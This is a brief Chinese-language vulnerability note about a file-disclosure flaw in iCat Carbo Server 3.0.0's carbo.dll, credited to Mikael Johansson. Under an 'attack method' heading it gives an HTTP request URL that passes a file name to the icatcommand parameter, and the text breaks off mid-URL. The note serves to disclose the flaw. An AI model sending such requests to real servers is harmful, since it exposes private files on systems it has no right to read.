☆carbo.dll☆  iCat Carbo服务器一个网络购物程序，它被 PC杂评为最好的网络购物软件.安全专家Mikael Johansson发现 iCat Carbo服务器版本 3.0.0.中存在一个漏洞， 这个漏洞让我们每个人查看系统中的任何文件在(除文件之外和一些特殊字符).  攻击方法：  提交这样的http请求 :  http://host/carbo.dll?icatcommand=file_to_view&ca...